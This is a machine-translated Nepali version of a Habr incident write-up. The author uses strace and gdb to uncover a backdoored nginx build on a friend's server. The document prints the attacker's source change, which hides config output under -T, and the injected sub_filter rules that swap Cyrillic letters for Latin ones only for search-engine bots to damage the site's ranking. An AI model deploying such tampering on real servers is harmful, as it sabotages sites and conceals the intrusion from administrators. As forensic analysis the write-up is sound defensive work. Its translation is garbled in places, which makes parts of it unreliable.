जब 'a' 'a' को बराबर हुँदैन। एक ह्याक को कारण मा

मेरो एक साथीको सबैभन्दा अप्रिय कथा भयो। तर यो मिखाइलको लागि जति अप्रिय भयो, यो मेरो लागि त्यत्तिकै रमाइलो थियो।

मैले भन्नै पर्छ कि मेरो साथी एकदम राम्रो छ युनिक्स-प्रयोगकर्ता: प्रणाली आफैं स्थापना गर्न सक्नुहुन्छ MySQL, PHP र सरल सेटिङहरू बनाउनुहोस् nginx.
र उहाँसँग निर्माण उपकरणहरूमा समर्पित एक दर्जन वा डेढ वेबसाइटहरू छन्।

चेनसामा समर्पित यी साइटहरू मध्ये एउटा खोज इन्जिनहरूको शीर्षमा दृढतापूर्वक बस्दछ। यो साइट एक गैर-व्यावसायिक समीक्षक हो, तर कसैले यसलाई आक्रमण गर्ने बानीमा पर्यो। त्यो DDoS, त्यसपछि क्रूर बल, त्यसपछि तिनीहरू अश्लील टिप्पणीहरू लेख्छन् र होस्टिङ र RKN लाई गालीहरू पठाउँछन्।
अचानक, सबै कुरा शान्त भयो र यो शान्त राम्रो थिएन, र साइटले बिस्तारै खोज परिणामहरूको शीर्ष रेखाहरू छोड्न थाल्यो।

त्यो भनाइ थियो, त्यसपछि प्रशासकको कथा।

सुत्ने समय नजिकै थियो जब फोनको घण्टी बज्यो: “सान, मेरो सर्भर हेर्ने हैन? मलाई ह्याक भएको जस्तो लाग्छ, म प्रमाणित गर्न सक्दिन, तर भावनाले मलाई तेस्रो हप्ता पनि छोडेको छैन। सायद यो मेरो लागि पागलपनको उपचार गर्ने समय हो?"

आधा घन्टाको छलफल पछि के भयो जसलाई निम्नानुसार संक्षेप गर्न सकिन्छ:

• ह्याकिंगको लागि माटो धेरै उर्वर थियो;
• एक आक्रमणकारीले सुपर प्रयोगकर्ता अधिकार प्राप्त गर्न सक्छ;
• आक्रमण (यदि यो भएको थियो) विशेष गरी यस साइटमा लक्षित गरिएको थियो;
• समस्या क्षेत्रहरू सच्याइएका छन् र तपाईंले केवल बुझ्न आवश्यक छ कि त्यहाँ कुनै प्रवेश थियो कि छैन;
• ह्याकले साइट कोड र डाटाबेसलाई असर गर्न सकेन।

अन्तिम बिन्दुको सन्दर्भमा।

केवल सेतो फ्रन्टएन्ड आईपी संसारमा बाहिर देखिन्छ। http(हरू) बाहेक ब्याकएन्ड र फ्रन्टएन्ड बीच कुनै आदानप्रदान छैन, प्रयोगकर्ताहरू/पासवर्डहरू फरक छन्, कुनै कुञ्जीहरू आदानप्रदान भएनन्। खैरो ठेगानाहरूमा, 80/443 बाहेक सबै पोर्टहरू बन्द छन्। सेतो ब्याकइन्ड आईपीहरू केवल दुई प्रयोगकर्ताहरूलाई थाहा छ, जसलाई मिखाइलले पूर्ण रूपमा विश्वास गर्दछ।

फ्रन्टएन्डमा स्थापित डेबियन 9 र कल गर्दा, प्रणाली बाहिरी फायरवालद्वारा संसारबाट अलग हुन्छ र रोकिन्छ।

"ठीक छ, मलाई पहुँच दिनुहोस्," म एक घण्टाको लागि सुत्ने निर्णय गर्छु। "म आफ्नै आँखाले देख्छु।"

यहाँ र थप:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

सम्भावित ह्याक खोज्दै

म सर्भर सुरु गर्छु, पहिले मा उद्धार मोड। म डिस्कहरू माउन्ट गर्छु र तिनीहरू मार्फत फ्लिप गर्छु प्रमाण-लगहरू, इतिहास, प्रणाली लगहरू, इत्यादि, सम्भव भएसम्म, म फाइल निर्माणको मितिहरू जाँच गर्छु, यद्यपि म बुझ्छु कि एक सामान्य क्र्याकर आफैं पछि "स्विप अप" हुनेछ, र मिशा आफैंलाई खोज्दै गर्दा पहिले नै धेरै "तल" भइसकेका थिए। ।

म सामान्य मोडमा सुरु गर्छु, के खोज्ने भनेर अझै बुझ्न सकिन, म कन्फिगहरू अध्ययन गर्छु। सबै भन्दा पहिले, मलाई रुचि छ nginx किनकि, सामान्यतया, त्यहाँ बाहेक फ्रन्टएन्डमा अरू केहि छैन।
कन्फिगहरू साना छन्, एक दर्जन फाइलहरूमा राम्रोसँग संरचित छन्, म तिनीहरूलाई हेर्छु बिरालोओह एक एक गरेर। सबै कुरा सफा देखिन्छ, तर मैले केहि छुटेको भए तपाईलाई थाहा छैन समावेश, मलाई पूर्ण सूची बनाउन दिनुहोस्:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

मैले बुझिन: "सूची कहाँ छ?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

दोस्रो प्रश्न सूचीकरण प्रश्नमा थपिएको छ: "किन nginx को यस्तो पुरानो संस्करण?"

थप रूपमा, प्रणाली विश्वास गर्दछ कि नवीनतम संस्करण स्थापित छ:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

म कल गर्दैछु:
- मिशा, तिमी किन पुन: जम्मा भयो nginx?
- पर्खनुहोस्, मलाई यो कसरी गर्ने भनेर पनि थाहा छैन!
- ठीक छ, सुत्नुहोस् ...

निजिनक्स यो स्पष्ट रूपमा पुन: निर्माण गरिएको छ र "-T" प्रयोग गरेर सूचीको आउटपुट कारणको लागि लुकेको छ। ह्याकिङको बारेमा अब कुनै शङ्का छैन र तपाईं यसलाई सजिलै स्वीकार गर्न सक्नुहुन्छ र (जसरी पनि मिशाले सर्भरलाई नयाँले प्रतिस्थापन गरेको छ) समस्या समाधान भएको विचार गर्नुहोस्।

र वास्तवमा, कसैले अधिकार पाएपछि मूल'अह, त्यसोभए यो गर्नको लागि मात्र अर्थ हुन्छ प्रणाली पुन: स्थापना, र त्यहाँ के गल्ती छ भनेर खोज्नु बेकार थियो, तर यस पटक जिज्ञासाले निद्रालाई पराजित गर्यो। तिनीहरूले हामीबाट लुकाउन चाहेको कुरा हामीले कसरी पत्ता लगाउन सक्छौं?

ट्रेस गर्ने प्रयास गरौं:

$ strace nginx -T

हामी यसलाई हेर्छौं, ट्रेस a la मा स्पष्ट रूपमा पर्याप्त रेखाहरू छैनन्

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

केवल रमाईलोको लागि, निष्कर्षहरू तुलना गरौं।

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

मलाई कोडको अंश लाग्छ /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

फारममा ल्याइयो:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

वा

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

त्यसैले "-T" द्वारा सूची प्रदर्शित गरिएको छैन।

तर हामी हाम्रो कन्फिगरेसन कसरी हेर्न सक्छौं?

यदि मेरो विचार सही छ र समस्या केवल चर मा छ ngx_dump_config यसलाई प्रयोग गरेर स्थापना गर्न प्रयास गरौं gdb, सौभाग्य देखि त्यहाँ एक कुञ्जी छ --with-cc-opt -g प्रस्तुत र आशा छ कि अनुकूलन -O2 यसले हामीलाई हानि गर्दैन। एकै समयमा, मलाई थाहा छैन कसरी ngx_dump_config मा प्रशोधन गर्न सकिन्छ केस 'T':, हामी यो ब्लक कल गर्दैनौं, तर यसलाई प्रयोग गरेर स्थापना गर्नेछौं केस 't':

किन तपाईं '-t' साथै '-T' प्रयोग गर्न सक्नुहुन्छब्लक प्रशोधन यदि (ngx_dump_config) भित्र हुन्छ यदि (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

अवश्य पनि, यदि कोड यस भागमा परिवर्तन गरिएको छ र भित्र छैन केस 'T':त्यसपछि मेरो विधिले काम गर्दैन।

nginx.conf परीक्षण गर्नुहोस्पहिले नै प्रयोगात्मक रूपमा समस्या समाधान गरिसकेपछि, यो स्थापित भएको थियो कि मालवेयरले काम गर्नको लागि न्यूनतम कन्फिगरेसन आवश्यक छ। nginx प्रकार:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

हामी यसलाई लेखमा संक्षिप्त रूपमा प्रयोग गर्नेछौं।

डिबगर सुरु गर्नुहोस्

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

चरण-देखि:

• प्रकार्यमा ब्रेकपोइन्ट सेट गर्नुहोस् मुख्य ()
• कार्यक्रम सुरु गर्ने
• कन्फिगरेसनको आउटपुट निर्धारण गर्ने चलको मान परिवर्तन गर्नुहोस् ngx_dump_config=1
• कार्यक्रम जारी / अन्त्य गर्नुहोस्

हामी देख्न सक्छौं, वास्तविक कन्फिगरेसन हाम्रो भन्दा फरक छ, हामी यसमा परजीवी टुक्रा चयन गर्छौं:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

क्रममा यहाँ के भइरहेको छ हेरौं।

निर्धारित प्रयोगकर्ता एजेन्ट'yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

सेवा पृष्ठहरू बहिष्कृत छन् WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

र माथिका दुवै सर्तहरू अन्तर्गत पर्नेहरूका लागि

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

पाठमा HTML- पृष्ठहरू परिवर्तन 'ओ' मा 'ओ' и 'ए' मा 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

यो सही छ, एकमात्र सूक्ष्मता यो हो 'a' ! = 'a' जस्तै 'ओ' ! = 'ओ':

यसरी, खोज इन्जिन बटहरू प्राप्त गर्दछ, सामान्य 100% सिरिलिक पाठको सट्टा, ल्याटिनमा पातलो परिमार्जित फोहोर 'a' и 'ओ'। यसले एसईओलाई कसरी असर गर्छ भनेर म छलफल गर्न हिम्मत गर्दिन, तर यो सम्भव छैन कि अक्षरहरूको यस्तो गडबडीले खोज परिणामहरूमा स्थितिहरूमा सकारात्मक प्रभाव पार्छ।

म के भन्न सक्छु, कल्पना संग केटाहरु।

सन्दर्भ

GDB सँग डिबग गर्दै
gdb (1) - लिनक्स म्यान पृष्ठ
strace(1) — लिनक्स म्यान पृष्ठ
Nginx - मोड्युल ngx_http_sub_module
आरा, ​​चेनसा र इलेक्ट्रिक आरा बारे

स्रोत: www.habr.com